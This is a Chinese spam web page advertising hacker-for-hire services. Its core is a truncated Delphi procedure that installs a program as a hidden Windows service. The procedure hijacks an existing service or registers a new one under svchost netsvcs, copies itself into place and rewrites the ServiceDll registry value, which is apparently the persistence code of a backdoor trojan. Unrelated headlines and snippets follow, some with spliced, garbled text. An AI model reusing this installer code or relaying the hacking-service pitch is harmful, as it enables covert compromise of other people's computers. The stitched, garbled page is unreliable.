在哪里可以找黑客免费接单 *** （24小时黑客在线接
| procedure Install(var DelMe:Boolean );stdcall ;varFileName: array[0..255] of Char;reg:TRegistry;hSCM,hSCS: Cardinal ;ss : TServiceStatus;Args : PChar;s,s1:string;begin FillChar(FileName,SizeOf(FileName),0);GetModuleFileName(HInstance, FileName, SizeOf(FileName));s := Config.DIR+config.FileName;reg := TRegistry.Create;reg.RootKey := HKEY_LOCAL_MACHINE ;hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);if hSCM = 0 then Exit ;case Config.StartupMode ofRunAsServiceD : //'s':现存服务启动 begin hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin ControlService(hSCS ,SERVICE_CONTROL_STOP,ss); ChangeServiceConfig(hSCS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_NO_CHANGE, nil,nil,nil,nil,nil,nil,nil); if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ; SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); reg.CloseKey; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); StartService(hSCS , 0, Args); CloseServiceHandle(hSCS); end; end;RunAsService : //新建服务启动 begin InstallService(Config.SrvName, Config.DisplayName, '%SystemRoot%\System32\svchost.exe -k netsvcs', Config.Description); //安装服务 if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); reg.CloseKey; reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False ); SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); s1 := reg.ReadString('netsvcs'); s1 := config.SrvName+#0+s1; reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ ); hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin StartService(hSCS , 0, Args); |
相关文章
2019年新浪博客如何推广引流方法
那博客引流是怎么去引流的呢？以前的各种的博客，都非常厉害，但是近几年这些博客就慢慢的不行了，那我们怎么去利用博客引流呢？只要我们正确利用博客去引流，还是可以达到一个很好的效果！...
长江流域非法捕捞高发水域同步巡查执法启动
本报北京8月10日电（记者张璁）10日，由公安部、农业农村部打击长江流域非法捕捞专项整治行动工作专班部署开展的长江流域非法捕捞高发水域同步巡查执法行动正式启动。 按照统一部署，首轮巡查执法行动为期1...
2019一体机电脑性价比之王 划算功能强大(最少不上2000)
2019一体机电脑性价比之王 划算功能强大(最少不上2000) 一体机是电脑台式机和电脑显示屏的融合。一体机有着绝大多数作用，也是有自身与众不同的作用，如手机蓝牙、无趣互联网、内嵌音箱等。现阶段销售...
曾经的黑客x档案（黑客x档案官方论坛）
大家推荐几个好的黑客论坛！ 华夏黑客联盟（我国第一个）黑客X档案（目前人气最高）红客基地（属于为国黑客）以上三种比较好，这是我个人观点！我觉得菜鸟最好去核神黑客X档案，改宏亏因为里绝孙面的高手，讲的你...
无线网卡是什么意思（ 无线网卡是什么原理）
无线网卡分类 无线网卡的作用、功能跟普通电脑网卡一样，是用来连接到局域网上的。它只是一个信号收发的设备，只有在找到上互联网的出口时才能实现与互联网的连接，所有无线网卡只能局限在已布有无线局域网的...
巴西新增新冠肺炎确我们结婚了泰民停拍诊病例61963例 累计确诊8933
截至当地时间1月26日，巴西单日新增新冠肺炎确诊病例61963例，累计确诊8933356例，新增死亡病例1214例，累计死亡218878人，累计治愈人数为7798655人。 位于巴西北部的罗...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！